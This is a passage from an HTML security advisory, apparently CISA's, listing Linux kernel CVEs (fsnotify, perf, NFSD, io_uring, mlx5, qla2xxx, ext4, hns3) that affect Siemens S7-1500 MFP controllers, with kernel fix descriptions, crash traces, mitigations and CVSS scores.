<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68788</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fsnotify: do not generate ACCESS/MODIFY events on child for special files inotify/fanotify do not allow users with no read access to a file to subscribe to events (e.g. IN_ACCESS/IN_MODIFY), but they do allow the same user to subscribe for watching events on children when the user has access to the parent directory (e.g. /dev). Users with no read access to a file but with read access to its parent directory can still stat the file and see if it was accessed/modified via atime/mtime change. The same is not true for special files (e.g. /dev/null). Users will not generally observe atime/mtime changes when other users read/write to special files, only when someone sets atime/mtime via utimensat(). Align fsnotify events with this stat behavior and do not generate ACCESS/MODIFY events to parent watchers on read/write of special files. The events are still generated to parent watchers on utimensat(). This closes some side-channels that could be possibly used for information exfiltration [1]. [1] https://snee.la/pdf/pubs/file-notification-attacks.pdf</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68788">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/360.html">CWE-360 Trust of System Event Data</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68798</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: perf/x86/amd: Check event before enable to avoid GPF On AMD machines cpuc-&gt;events[idx] can become NULL in a subtle race condition with NMI-&gt;throttle-&gt;x86_pmu_stop(). Check event for NULL in amd_pmu_enable_all() before enable to avoid a GPF. This appears to be an AMD only issue. Syzkaller reported a GPF in amd_pmu_enable_all. INFO: NMI handler (perf_event_nmi_handler) took too long to run: 13.143 msecs Oops: general protection fault, probably for non-canonical address 0xdffffc0000000034: 0000 PREEMPT SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x00000000000001a0-0x00000000000001a7] CPU: 0 UID: 0 PID: 328415 Comm: repro_36674776 Not tainted 6.12.0-rc1-syzk RIP: 0010:x86_pmu_enable_event (arch/x86/events/perf_event.h:1195 arch/x86/events/core.c:1430) RSP: 0018:ffff888118009d60 EFLAGS: 00010012 RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000000 RDX: 0000000000000034 RSI: 0000000000000000 RDI: 00000000000001a0 RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000002 R13: ffff88811802a440 R14: ffff88811802a240 R15: ffff8881132d8601 FS: 00007f097dfaa700(0000) GS:ffff888118000000(0000) GS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00000000200001c0 CR3: 0000000103d56000 CR4: 00000000000006f0 Call Trace: amd_pmu_enable_all (arch/x86/events/amd/core.c:760 (discriminator 2)) x86_pmu_enable (arch/x86/events/core.c:1360) event_sched_out (kernel/events/core.c:1191 kernel/events/core.c:1186 kernel/events/core.c:2346) __perf_remove_from_context (kernel/events/core.c:2435) event_function (kernel/events/core.c:259) remote_function (kernel/events/core.c:92 (discriminator 1) kernel/events/core.c:72 (discriminator 1)) __flush_smp_call_function_queue (./arch/x86/include/asm/jump_label.h:27 ./include/linux/jump_label.h:207 ./include/trace/events/csd.h:64 kernel/smp.c:135 kernel/smp.c:540) __sysvec_call_function_single (./arch/x86/include/asm/jump_label.h:27 ./include/linux/jump_label.h:207 ./arch/x86/include/asm/trace/irq_vectors.h:99 arch/x86/kernel/smp.c:272) sysvec_call_function_single (arch/x86/kernel/smp.c:266 (discriminator 47) arch/x86/kernel/smp.c:266 (discriminator 47))</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68798">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68803</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFSD: NFSv4 file creation neglects setting ACL An NFSv4 client that sets an ACL with a named principal during file creation retrieves the ACL afterwards, and finds that it is only a default ACL (based on the mode bits) and not the ACL that was requested during file creation. This violates RFC 8881 section 6.4.1.3: "the ACL attribute is set as given". The issue occurs in nfsd_create_setattr(), which calls nfsd_attrs_valid() to determine whether to call nfsd_setattr(). However, nfsd_attrs_valid() checks only for iattr changes and security labels, but not POSIX ACLs. When only an ACL is present, the function returns false, nfsd_setattr() is skipped, and the POSIX ACL is never applied to the inode. Subsequently, when the client retrieves the ACL, the server finds no POSIX ACL on the inode and returns one generated from the file's mode bits rather than returning the originally-specified ACL.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68803">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68814</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: io_uring: fix filename leak in __io_openat_prep() __io_openat_prep() allocates a struct filename using getname(). However, for the condition of the file being installed in the fixed file table as well as having O_CLOEXEC flag set, the function returns early. At that point, the request doesn't have REQ_F_NEED_CLEANUP flag set. Due to this, the memory for the newly allocated struct filename is not cleaned up, causing a memory leak. Fix this by setting the REQ_F_NEED_CLEANUP for the request just after the successful getname() call, so that when the request is torn down, the filename will be cleaned up, along with other resources needing cleanup.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68814">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68816</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/mlx5: fw_tracer, Validate format string parameters Add validation for format string parameters in the firmware tracer to prevent potential security vulnerabilities and crashes from malformed format strings received from firmware. The firmware tracer receives format strings from the device firmware and uses them to format trace messages. Without proper validation, bad firmware could provide format strings with invalid format specifiers (e.g., %s, %p, %n) that could lead to crashes, or other undefined behavior. Add mlx5_tracer_validate_params() to validate that all format specifiers in trace strings are limited to safe integer/hex formats (%x, %d, %i, %u, %llx, %lx, etc.). Reject strings containing other format types that could be used to access arbitrary memory or cause crashes. Invalid format strings are added to the trace output for visibility with "BAD_FORMAT: " prefix.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68816">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/134.html">CWE-134 Use of Externally-Controlled Format String</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68818</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: Revert "scsi: qla2xxx: Perform lockless command completion in abort path" This reverts commit 0367076b0817d5c75dfb83001ce7ce5c64d803a9. The commit being reverted added code to __qla2x00_abort_all_cmds() to call sp-&gt;done() without holding a spinlock. But unlike the older code below it, this new code failed to check sp-&gt;cmd_type and just assumed TYPE_SRB, which results in a jump to an invalid pointer in target-mode with TYPE_TGT_CMD: qla2xxx [0000:65:00.0]-d034:8: qla24xx_do_nack_work create sess success 0000000009f7a79b qla2xxx [0000:65:00.0]-5003:8: ISP System Error - mbx1=1ff5h mbx2=10h mbx3=0h mbx4=0h mbx5=191h mbx6=0h mbx7=0h. qla2xxx [0000:65:00.0]-d01e:8: -&gt; fwdump no buffer qla2xxx [0000:65:00.0]-f03a:8: qla_target(0): System error async event 0x8002 occurred qla2xxx [0000:65:00.0]-00af:8: Performing ISP error recovery - ha=0000000058183fda. BUG: kernel NULL pointer dereference, address: 0000000000000000 PF: supervisor instruction fetch in kernel mode PF: error_code(0x0010) - not-present page PGD 0 P4D 0 Oops: 0010 [#1] SMP CPU: 2 PID: 9446 Comm: qla2xxx_8_dpc Tainted: G O 6.1.133 #1 Hardware name: Supermicro Super Server/X11SPL-F, BIOS 4.2 12/15/2023 RIP: 0010:0x0 Code: Unable to access opcode bytes at 0xffffffffffffffd6. RSP: 0018:ffffc90001f93dc8 EFLAGS: 00010206 RAX: 0000000000000282 RBX: 0000000000000355 RCX: ffff88810d16a000 RDX: ffff88810dbadaa8 RSI: 0000000000080000 RDI: ffff888169dc38c0 RBP: ffff888169dc38c0 R08: 0000000000000001 R09: 0000000000000045 R10: ffffffffa034bdf0 R11: 0000000000000000 R12: ffff88810800bb40 R13: 0000000000001aa8 R14: ffff888100136610 R15: ffff8881070f7400 FS: 0000000000000000(0000) GS:ffff88bf80080000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffffffffffffd6 CR3: 000000010c8ff006 CR4: 00000000003706e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: ? __die+0x4d/0x8b ? page_fault_oops+0x91/0x180 ? trace_buffer_unlock_commit_regs+0x38/0x1a0 ? exc_page_fault+0x391/0x5e0 ? asm_exc_page_fault+0x22/0x30 __qla2x00_abort_all_cmds+0xcb/0x3e0 [qla2xxx_scst] qla2x00_abort_all_cmds+0x50/0x70 [qla2xxx_scst] qla2x00_abort_isp_cleanup+0x3b7/0x4b0 [qla2xxx_scst] qla2x00_abort_isp+0xfd/0x860 [qla2xxx_scst] qla2x00_do_dpc+0x581/0xa40 [qla2xxx_scst] kthread+0xa8/0xd0 Then commit 4475afa2646d ("scsi: qla2xxx: Complete command early within lock") added the spinlock back, because not having the lock caused a race and a crash. But qla2x00_abort_srb() in the switch below already checks for qla2x00_chip_is_down() and handles it the same way, so the code above the switch is now redundant and still buggy in target-mode. Remove it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68818">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68820</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: xattr: fix null pointer deref in ext4_raw_inode() If ext4_get_inode_loc() fails (e.g. if it returns -EFSCORRUPTED), iloc.bh will remain set to NULL. Since ext4_xattr_inode_dec_ref_all() lacks error checking, this will lead to a null pointer dereference in ext4_raw_inode(), called right after ext4_get_inode_loc(). Found by Linux Verification Center (linuxtesting.org) with SVACE.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68820">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/252.html">CWE-252 Unchecked Return Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71064</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: hns3: using the num_tqps in the vf driver to apply for resources Currently, hdev-&gt;htqp is allocated using hdev-&gt;num_tqps, and kinfo-&gt;tqp is allocated using kinfo-&gt;num_tqps. However, kinfo-&gt;num_tqps is set to min(new_tqps, hdev-&gt;num_tqps); Therefore, kinfo-&gt;num_tqps may be smaller than hdev-&gt;num_tqps, which causes some hdev-&gt;htqp[i] to remain uninitialized in hclgevf_knic_setup(). Thus, this patch allocates hdev-&gt;htqp and kinfo-&gt;tqp using hdev-&gt;num_tqps, ensuring that the lengths of hdev-&gt;htqp and kinfo-&gt;tqp are consistent and that all elements are properly initialized.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71064">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/909.html">CWE-909 Missing Initialization of Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
